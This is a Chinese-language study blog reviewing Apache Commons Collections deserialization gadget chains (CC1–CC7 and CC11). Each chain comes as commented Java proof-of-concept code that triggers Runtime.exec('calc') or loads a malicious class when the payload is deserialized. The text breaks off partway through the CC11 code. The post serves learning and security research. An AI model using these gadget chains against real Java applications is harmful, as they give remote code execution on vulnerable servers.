Java Deserialize Review - base on common collection

Java 反序列化原理复现复习—— 基于 Common Collections

是一个鸽了很久的文章,趁着大四时间闲散,总想写点东西记录学习内容,但苦于懒所以一直难以提笔,希望此文能作为日后博客坚持更新维护的一个起点。

基于 B 站白日梦组长 Java 反序列化视频讲解与 Drun1baby 学习记录。

CC 路线:1>6>3>4>2>5>7>cb

Common Collections 1

环境要求 jdk8u65 Common-Collections 3.2.1

当超出 8u65 时对 TemplatesImpldefineTransletClasses 进行修复。

Base on LazyMapImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package src;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

// 基于 LazyMap 实现
public class CC1_LazyMapImpl {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// ConstantTransformer 的 transform 方法不受传参影响,仅由构造函数传参决定
// 因为 Runtime 类不可以反序列化,但 Runtime.class 可以,Class 类实现了 Serializable 接口
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
// 使用 Runtime.class.getMethod("getRuntime") 获取 Runtime.getRuntime 方法
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
// 使用 Runtime.getRuntime() 获取 Runtime 实例
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// 使用 Runtime.exec("calc") 执行 calc
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
使用 ChainedTransformer 将多个 Transformer 组合在一起
因为在 ChainedTransformer 的 transform 方法中,会依次调用每个 Transformer 的 transform 方法
当调用第一个 Transformer 的 transform 方法时,会将结果传递给第二个 Transformer 的 transform 方法,也就是返回 Runtime.class
*/

HashMap<Object, Object> hashMap = new HashMap<>();
// 创建一个 HashMap 实例用于使用 LazyMap 装饰
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
// 使用 LazyMap 装饰 HashMap 实例,当调用 LazyMap 的 get 方法时,会调用 chainedTransformer 的 transform 方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取 AnnotationInvocationHandler 类的 Class 对象
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 获取 AnnotationInvocationHandler 类的构造函数,其参数类型为 Class 和 Map
// 因为 AnnotationInvocationHandler 的构造函数是私有的,需要使用 getDeclaredConstructor 获取
annotationInvocationdhdlConstructor.setAccessible(true);
// 设置构造函数可访问
InvocationHandler innovationHandlerInstance = (InvocationHandler)annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
/*
使用构造函数创建 AnnotationInvocationHandler 实例,传入 Override.class 和 lazyMap
通过调用 AnnotationInvocationHandler 的 invoke 方法,会调用 lazyMap 的 get 方法,
从而触发 chainedTransformer 的 transform 方法, 但 invoke 方法只会在动态代理对象调用方法时才会被调用
因此需要将 AnnotationInvocationHandler 实例传入动态代理对象
*/

Map proxyInstance = (Map) Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), innovationHandlerInstance);
/*
创建动态代理对象,实现 Map 接口,传入 lazyMap 的类加载器和 Map 接口
当调用代理的方法时,会调用 invocationHandlerHandlerInstance 的 invoke 方法
因为 Proxy 本身没有 readObject 方法,无法在反序列化时调用 invoke 方法中的无参方法从而到达代码段中的 get 方法
后续只要找到一个类在进行反序列化 readObject 时调用代理对象的方法,就可以触发 chainedTransformer 的 transform 方法
*/

Object mapProxyInstance = annotationInvocationdhdlConstructor.newInstance(Override.class, proxyInstance);
/*
* 当反序列化执行 readObject 时进入 AnnotationInvocationHandler 的 readObject 方法,会调用 memberValues.entrySet() 方法
* 而动态代理对象在调用对象方法时会自动调用 invocationHandler 的 invoke 方法,只需要新建一个 annotationInvocationHandler 对象
* 将其 membervalues 设置为第一个动态代理对象进行嵌套即可触发第一个动态代理对象的 invoke 方法从而调用 invoke 方法中的 get 方法
* */


serializeImpl.serialize(mapProxyInstance);
// 序列化代理对象
serializeImpl.unserialize("ser.bin");
}
}

cc1-lazymap

Base on TransformerMapImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package src;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.*;

// 基于 TransformerMap 实现
public class CC1_TransformerMapImpl {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// ConstantTransformer 的 transform 方法不受传参影响,仅由构造函数传参决定
// 因为 Runtime 类不可以反序列化,但 Runtime.class 可以,Class 类实现了 Serializable 接口
new InvokerTransformer(
"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
// 使用 Runtime.class.getMethod("getRuntime") 获取 Runtime.getRuntime 方法
new InvokerTransformer(
"invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
// 使用 Runtime.getRuntime() 获取 Runtime 实例
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
// 使用 Runtime.exec("calc") 执行 calc
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 使用 ChainedTransformer 将多个 Transformer 组合在一起
// 因为在 ChainedTransformer 的 transform 方法中,会依次调用每个 Transformer 的 transform 方法
// 当调用第一个 Transformer 的 transform 方法时,会将结果传递给第二个 Transformer 的 transform 方法,也就是返回 Runtime.class

HashMap<Object, Object> hashMap = new HashMap<>();
// 创建 HashMap 使用 TransformerMap 装饰
hashMap.put("value", "aaa");
// 这里传入 value 作为 key 是因为在 AnnotationInvocationHandler 中的 readObject 方法需要根据 key 获取注解类的属性值
Map<Object, Object> transformerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
// 使用 TransformerMap 修饰 HashMap,当调用 checkSetValue 方法时,会调用 chainedTransformer 的 transform 方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformerMap);
// AnnotationInvocationHandler 的 readObject 方法中会调用 setValue 方法,从而调用 TransformerMap 的 checkSetValue 方法
// 这里的 Target 注解类是因为在 Target 类中存在一个名为 value 的属性可以满足 AnnotationInvocationHandler 的 readObject 方法

serializeImpl.serialize(o);
// serializeImpl.unserialize("ser.bin");
}
}

cc1-transformer

Common Collections 2

环境要求 jdk8u65 Common-Collections 3.2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 在 Common-Collections 4.0 的反序列化攻击链
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 创建 TemplatesImpl 实例, 通过调用里面的 defineTransletClasses 方法调用 definClass 方法

Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name");
_nameFiled.setAccessible(true);
_nameFiled.set(templates, "test");

Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactoryFiled.setAccessible(true);
_tfactoryFiled.set(templates, new TransformerFactoryImpl());

Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodesFiled.setAccessible(true);
// 满足 TemplatesImpl 中的要求

byte[] bytes = Files.readAllBytes(Paths.get("G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class"));
byte[][] shellCode = {bytes};
// 加载恶意类

_bytecodesFiled.set(templates, shellCode);

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>
(new ConstantTransformer<>(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
// 这里放入 templates 是为了满足 compare 方法中将 templates 作为参数传入 InvokerTransformer 的 transform 方法中
// 在 cc4 中没有放入 templates 是因为使用了 Transformer 数组将第一个 Transformer 设置为 ConstantTransformer(templates)
// 这样无论 compare 传入的什么参数在 ConstantTransformer 中都是返回 templates

Field transformerFiled = TransformingComparator.class.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, invokerTransformer);

// serializeImpl.serialize(priorityQueue);
serializeImpl.unserialize("ser.bin");
}
}

cc2

Common Collections 3

Base on InvokeTransformer

环境要求 jdk8u65 Common-Collections 3.2.1

基于动态类加载 ClassLoader#defineClass

image-20251013194946669

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package src;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// 基于 TemplatesImpl 的 defineTransletClasses 方法实现
public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 创建 TemplatesImpl 实例, 通过调用里面的 defineTransletClasses 方法调用 definClass 方法

// 需要满足下列三项属性的配置才能正确执行 defineClass ,同时恶意加载的 exp 需要满足继承了 ABSTRACT_TRANSLET 抽象类

Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name");
_nameFiled.setAccessible(true);
_nameFiled.set(templates, "test");
// 为了满足代码走到 defineClass 的要求,这里的值设置什么都无所谓

Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactoryFiled.setAccessible(true);
_tfactoryFiled.set(templates, new TransformerFactoryImpl());
// 按照 TemplatesImpl 中的 readObject 模板放置

Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodesFiled.setAccessible(true);
// 满足 TemplatesImpl 中的要求

byte[] bytes = Files.readAllBytes(Paths.get(
"G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class"));
byte[][] shellCode = {bytes};
// 加载恶意类,要求是传入一个二维数组但加载的恶意字节码是一维数组,因此需要按格式构造。

_bytecodesFiled.set(templates, shellCode);

// transformer = templates.newTransformer();
// 目的是调用这个方法,可以结合 CC1 或 CC6 实现。

// 以下为 CC6 形式

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

HashMap<Object, Object> objectHashMap = new HashMap<>();
objectHashMap.put(tiedMapEntry, "aaa");

lazyMap.remove("test");

Class c = LazyMap.class;
Field declaredFactoryField = c.getDeclaredField("factory");
declaredFactoryField.setAccessible(true);
declaredFactoryField.set(lazyMap, chainedTransformer);

// serializeImpl.serialize(objectHashMap);
serializeImpl.unserialize("ser.bin");
}
}

前半段入口点的 readObject 调用 InvokeTransformer 的过程与 Common Collections 1Common Collections 6 相同。

cc3

Base on TrAXFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3_TrAXFilterImpl {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 创建 TemplatesImpl 实例, 通过调用里面的 defineTransletClasses 方法调用 definClass 方法
// 而 defineTransletClasses 方法由 newTransformer 方法调用,则可通过调用 newTransformer 方法触发

Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name");
_nameFiled.setAccessible(true);
_nameFiled.set(templates, "test");

Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactoryFiled.setAccessible(true);
_tfactoryFiled.set(templates, new TransformerFactoryImpl());

Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodesFiled.setAccessible(true);
// 满足 TemplatesImpl 中的要求

byte[] bytes = Files.readAllBytes(
Paths.get(
"G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class"
)
);
byte[][] shellCode = {bytes};
// 加载恶意类

_bytecodesFiled.set(templates, shellCode);

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
// 这里改成了使用 TrAXFilter 实现
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
// 在调用第一个 transformer 时返回 TrAXFilter.class 并作为参数传入 InstantiateTransformer 的 transform 方法
// 调用 TrAXFilter 的构造函数以进入 newTransformer 方法
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMap);

Map proxyInstance = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler);

Object o = declaredConstructor.newInstance(Override.class, proxyInstance);

// serializeImpl.serialize(o);
serializeImpl.unserialize("ser.bin");
}
}

cc3-TrAXFilter

Common Collections 4

基于 Common Collections4 ,在 4.0 版本中 TransformingComparator 类继承了 Serializable 接口从而导致可以进行利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 在 Common-Collections 4.0 的反序列化攻击链
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// 创建 TemplatesImpl 实例, 通过调用里面的 defineTransletClasses 方法调用 definClass 方法

Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name");
_nameFiled.setAccessible(true);
_nameFiled.set(templates, "test");

Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactoryFiled.setAccessible(true);
_tfactoryFiled.set(templates, new TransformerFactoryImpl());

Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodesFiled.setAccessible(true);
// 满足 TemplatesImpl 中的要求

byte[] bytes = Files.readAllBytes(Paths.get("H:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class"));
byte[][] shellCode = {bytes};
// 加载恶意类

_bytecodesFiled.set(templates, shellCode);

// transformer = templates.newTransformer();
// 目的是调用这个方法,可以结合 CC1 或 CC6 实现。

// 以下为 CC6 形式

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 前面半部分和 CC3 一样,后面半部分使用 TransformingComparator 实现

TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>
(new ConstantTransformer<>(1));

Field transformerFiled = TransformingComparator.class.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, chainedTransformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);
// 保证队列中的元素移位计算后能够在 heapify 过程中触发 comparator 的 compare 方法

// serializeImpl.serialize(priorityQueue);
serializeImpl.unserialize("ser.bin");
}
}

cc4

Common Collections 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package src;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// ConstantTransformer 的 transform 方法不受传参影响,仅由构造函数传参决定
// 因为 Runtime 类不可以反序列化,但 Runtime.class 可以,Class 类实现了 Serializable 接口
new InvokerTransformer(
"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
// 使用 Runtime.class.getMethod("getRuntime") 获取 Runtime.getRuntime 方法
new InvokerTransformer(
"invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
// 使用 Runtime.getRuntime() 获取 Runtime 实例
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
// 使用 Runtime.exec("calc") 执行 calc
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
// 创建一个 HashMap 实例用于使用 LazyMap 装饰
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
// 需要调用 LazyMap 的 get 方法触发 ChainedTransformer 的 transform 方法

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
// 需要调用 TiedMapEntry 的 toString 方法调用自身的 getValue 方法从而触发 LazyMap 的 get 方法

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val");
// val 作为参数注入 objVal 执行 toString 方法从而作为入口点。
valFiled.setAccessible(true);
valFiled.set(badAttributeValueExpException, tiedMapEntry);

// serializeImpl.serialize(badAttributeValueExpException);
serializeImpl.unserialize("ser.bin");
}
}

cc5

Common Collections 6

不要求 jdk 版本限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package src;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// 基于 TiedMapEntry 的 getValue 方法实现
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// ConstantTransformer 的 transform 方法不受传参影响,仅由构造函数传参决定
// 因为 Runtime 类不可以反序列化,但 Runtime.class 可以,Class 类实现了 Serializable 接口
new InvokerTransformer(
"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
// 使用 Runtime.class.getMethod("getRuntime") 获取 Runtime.getRuntime 方法
new InvokerTransformer(
"invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
// 使用 Runtime.getRuntime() 获取 Runtime 实例
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
// 使用 Runtime.exec("calc") 执行 calc
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
// 创建一个 HashMap 实例用于使用 LazyMap 装饰
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// 使用 LazyMap 装饰 HashMap 实例,当调用 LazyMap 的 get 方法时,会调用 chainedTransformer 的 transform 方法
// 尽管此处的 value 是不是 ConstantTransformer,也可以是构造好的 chainTransformer,在反序列化时都会成功
// 但此处使用 ConstantTransformer 是为了方便,因为在 serialize 时 ConstantTransformer 不会执行命令

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
/*
* TiedMapEntry 的 getValue 方法会调用传入的 Map 中的 get 方法
* 而在其类中的 hashCode 会调用 getValue 方法
* 那么可以利用 hashMap 的 put 方法触发其 hashCode 方法
*/

HashMap<Object, Object> objectHashMap = new HashMap<>();
// 利用 objectHashMap 进行触发 hashCode
objectHashMap.put(tiedMapEntry, "aaa");

lazyMap.remove("test");
// 移除 tiedMapEntry 中的 key 从而在反序列化时可以在 LazyMap 的 get 方法中进入 if 语句

Class c = LazyMap.class;
Field declaredFactoryField = c.getDeclaredField("factory");
declaredFactoryField.setAccessible(true);
declaredFactoryField.set(lazyMap, chainedTransformer);
/*
* 这里的目的是将 lazyMap 中的 factory 字段设置为 chainedTransformer 从而在 get 方法中调用
* 而 cc1 中的是根据反射调用的不是调用的 factory 的 transform 方法因此 cc1 不需要设置 factory
* */

serializeImpl.serialize(objectHashMap);
// serializeImpl.unserialize("ser.bin");
}
}

cc6

Common Collections 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package src;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// ConstantTransformer 的 transform 方法不受传参影响,仅由构造函数传参决定
// 因为 Runtime 类不可以反序列化,但 Runtime.class 可以,Class 类实现了 Serializable 接口
new InvokerTransformer(
"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
// 使用 Runtime.class.getMethod("getRuntime") 获取 Runtime.getRuntime 方法
new InvokerTransformer(
"invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
// 使用 Runtime.getRuntime() 获取 Runtime 实例
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
// 使用 Runtime.exec("calc") 执行 calc
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map<Object, Object> decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map<Object, Object> decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);

decorateMap1.put("yy", 1);
decorateMap2.put("zZ", 2);

Hashtable<Object, Object> hashtable = new Hashtable<>();
// hashTable 的 readObject 方法调用 reconstitutionPut 方法,其中会调用 equals 方法,也会调用 hashCode
//

hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 2);

Field iTransformerFiled = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformerFiled.setAccessible(true);
iTransformerFiled.set(chainedTransformer, transformers);

decorateMap2.remove('b');

// serializeImpl.serialize(hashtable);
serializeImpl.unserialize("ser.bin");
}
}

Common Collections 11

CommonsCollections 3.1-3.2.1 JDK 无限制

Refer: https://wjlshare.com/archives/1536

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11 {
public static void main(String[] args) throws Exception {

// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
